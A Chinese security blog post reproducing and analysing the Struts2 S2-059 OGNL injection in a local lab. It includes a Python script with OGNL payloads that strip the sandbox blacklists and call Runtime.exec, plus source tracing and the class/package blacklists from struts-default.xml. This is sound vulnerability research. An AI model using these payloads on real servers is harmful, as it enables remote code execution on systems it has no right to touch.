前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

影响版本Struts 2.0.0 - Struts 2.5.20,这里使用struts 2.5.20。

根据官方描述,问题出在struts2会对标签中的某些属性(如id)的值进行双重评估,修改模板文件:

<s:a id="%{username}" href="%{url}">List available Employees</s:a>

结果部署时出问题了:

[2022-04-15 10:44:26,465] Artifact struts2:war exploded: Error during artifact deployment. See server log for details.

Log:

java.lang.NoClassDefFoundError: javax/servlet/Filter

根据参考文章,应该是Tomcat版本问题,引用的包发生了变化,换成Tomcat9,成功部署,其他代码不没有改动。

此时访问:

http://localhost:8080/login.action?username=%25%7B8*8%7D

可以看到:

<a id="64" href="">List available Employees</a>

模板文件中的id值%{url}进行了双重评估,发生了表达式注入。

漏洞利用

同S2-057的payload:

# -*- coding:utf8 -*-
import requests


url = "http://localhost:8080/login.action"
data1 = {
    "username": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "username": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}"
}
res1 = requests.post(url, data=data1)
print(res1.text)
res2 = requests.post(url, data=data2)
print(res2.text)

但是打不通,换成参考文章中使用的2.5.16版本的struts2就打通了,Struts 2.5.17也打不通,问题应该就出在Struts 2.5.17上面了。

在Struts 2.5.17中,此时通过:

#attr['struts.valueStack'].context

无法获取到OgnlValueStack中的context,调试找到OgnlRuntime类的getFieldValue函数中:

if (checkAccessAndExistence) {
    if ((f == null) || !context.getMemberAccess().isAccessible(context, target, f, propertyName)) {
        result = NotFound;
    }
}

到这里为止的代码Struts 2.5.16和Struts 2.5.17没有区别,区别在context.getMemberAccess()会获得一个版本不同的SecurityMemberAccess类进行黑名单验证:

Class targetClass = target.getClass();
Class memberClass = member.getDeclaringClass();
...
if (isPackageExcluded(targetClass.getPackage(), memberClass.getPackage())) {
    LOG.warn("Package of target [{}] or package of member [{}] are excluded!", target, member);
    return false;
}

黑名单如下:

[ognl., freemarker.core., javax., freemarker.ext.rhino., javassist., com.opensymphony.xwork2.security., sun.reflect., com.opensymphony.xwork2.ognl., freemarker.template., com.opensymphony.xwork2.util.]

因为OgnlValueStack的package为com.opensymphony.xwork2.ognl,所以就触发了黑名单,无法获取其中的成员字段。

黑名单存放在struts-default.xml中:

    <constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                com.opensymphony.xwork2.ActionContext" />

    <!-- this must be valid regex, each '.' in package name must be escaped! -->
    <!-- it's more flexible but slower than simple string comparison -->
    <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

    <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames"
              value="
                ognl.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.rhino.,
                sun.reflect.,
                javassist.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

漏洞分析

给ASTProperty的getValueBody函数下个断点,往前找到UIBean类的populateComponentHtmlId函数:

protected void populateComponentHtmlId(Form form) {
    String tryId;
    String generatedId;
    if (id != null) {
        // this check is needed for backwards compatibility with 2.1.x
        tryId = findStringIfAltSyntax(id);
    } 
    ...
}

findStringIfAltSyntax:

protected String findStringIfAltSyntax(String expr) {
    if (altSyntax()) {
        return findString(expr);
    }
    return expr;
}

调用了findString解析表达式。

漏洞修复

在Struts 2.5.22中,struts-default.xml改了一下,黑名单变多了:

    <constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                sun.misc.Unsafe,
                com.opensymphony.xwork2.ActionContext" />

    <!-- this must be valid regex, each '.' in package name must be escaped! -->
    <!-- it's more flexible but slower than simple string comparison -->
    <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

    <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames"
              value="
                ognl.,
                java.io.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.asm.,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

不知道修的是什么绕过方法,但是表达式执行点没修,也就是说绕过了沙盒这里还是能打。


参考

https://xz.aliyun.com/t/8653


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-061
论文研读(3)